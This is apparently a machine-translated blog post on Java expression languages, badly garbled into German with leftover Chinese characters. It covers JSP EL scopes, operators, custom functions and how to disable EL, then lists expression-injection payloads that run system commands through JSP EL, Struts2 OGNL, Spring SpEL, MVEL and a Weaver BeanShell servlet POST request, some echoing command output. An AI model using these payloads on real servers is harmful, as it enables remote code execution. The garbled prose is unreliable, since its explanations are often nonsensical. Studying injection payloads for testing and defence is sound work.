Java-Middle-Table-Ausdruckstyp Root-Setting-Frame-Division, zu der der EL-Tabellenausdruckstyp jsp-ähnlicher einleitender Wortklang, die Bestimmung des Kopierens und Erneuerns von jsp und seine Entwurfsidee selbst "ECMAScript sum
XPath` gehören. Verwenden Sie den EL-Tabellentyp, kann verwendet werden, jsp, Berechnung, Anzahl der Einsätze, Anpassungsmethode, Einsätze usw. Die Grundsprache ist "$ {Variationstabellenausdruck}".
Die meisten Formulierungsmethoden Towa jsp Es gibt einen großen Unterschied, und es ist ein wenig anders.
<%@ page import="java.util.HashMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String name = "Kozo";
request.setAttribute("name",name);
request.setAttribute("request", "request_name");
session.setAttribute("session", "session_name");
pageContext.setAttribute("page", "page_name");
application.setAttribute("application", "application_name");
HashMap<String, String> map = new HashMap<>();
map.put("my-name", "admin");
request.setAttribute("test", map);
%>
来 Vier einzelne Arbeitsbereiche mittlerer Suchwechselbetrag:${name}
</br>
<%--Aktionsbereich--%>
来 requestScope Arbeitsbereich mittlerer Änderungsbetrag:${requestScope.request}
</br>
来 sessionScope Arbeitsbereich mittel 获 Entfernungsbetrag:${sessionScope.session}
</br>
来 pageScope Arbeitsbereich mittel 获 Entfernungsmenge:${pageScope.page}
</br>
来 applicationScope Arbeitsbereich mittlere Änderungsmenge:${applicationScope.application}
</br>
来 Spezieller Codeänderungsbetrag im Arbeitsbereich:${requestScope.test["my-name"]}
Art | Code |
---|---|
Arithmetischer Typ | +、-(Dual),* 、/、div、%、mod、-(Einheitlich) |
逻 辑 Typ | and、&&Oder Doppelröhrenschild,!、not |
Verwandter Typ | ==、eq、!=、ne、<、lt、>、gt、<=、le、>=, Ge. Kann einen anderen Vorabvergleich geben oder einen Typ-, Zeichen-Spieß-Typ-, regulären Typ- oder Gleitkomma-Zeichen-Vorab-Vergleich geben. |
Himmel | leer Leere Operation Markieren Sie Operation, verfügbar und unentschlossen. |
Bedingte Art | A ?B :C. Rooting A 赋 值 赋 值 B oder C. |
${ns:func(param1, param2, ...)}
Verwenden Sie für die erforderliche Feldnummer für die Anpassung der Tabellenausdrucksformel den eintragsähnlichen Standard "taglib"
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@taglib prefix="elFunc" uri="http://www.test.com/elFunc" %>
<%
String name = "Kozo";
request.setAttribute("name",name);
%>
Anzahl der Anpassungen:${elFunc:elFunc(name)}
页 Oberflächenimport Anpassungsnummer: Hallo 张 3
EL-Tabelle für alle Stationen verboten, web.xml
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
EL Tabelle verbotener Ausdruck Im JSP-Text können Sie dies tun.
<%@ page isELIgnored="true" %>
EL-Tabellenausdruck zum Verbieten der Anzeige von Wörtern, TRUE-Anzeige verboten, FALSE-Anzeige verboten.
JSP2.0 EL-Tabellenausdruck für Personen mittleren Alters.
Prinzip: Metropolitan: Alle Tabellenausdrücke oder externe Kopie. Die erste Reihe ist ein trivialer Poc, und danach befindet sie sich unter demselben Stil.
${pageContext}
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
${header}
${applicationScope}
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
Struts2 OGNL
@[Alle Namen (umfassender Verpackungsdurchmesser)]@[Methodenname|Name], Beispiel:
@java.lang.String@format('foo %s', 'bar')
Beispiel
ActionContext AC = ActionContext.getContext();
String expression = "${(new java.lang.ProcessBuilder('calc')).start()}";
AC.getValueStack().findValue(expression));
Spring SPEL
String expression = "T(java.lang.Runtime).getRuntime().exec(/"calc/")";
String result = parser.parseExpression(expression).getValue().toString();
JSP JSTL_EL
<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
</spring:message>
Elasticsearch MVEL
String expression = "new java.lang.ProcessBuilder(/"calc/").start();";
Boolean result = (Boolean) MVEL.eval(expression, vars);
[email protected]@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())
Jemand POST
message=(#[email protected]@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami
Eine Art der Reduzierung
POST /weaver/bsh.servlet.BshServlet
bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+calc\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
Recommended Posts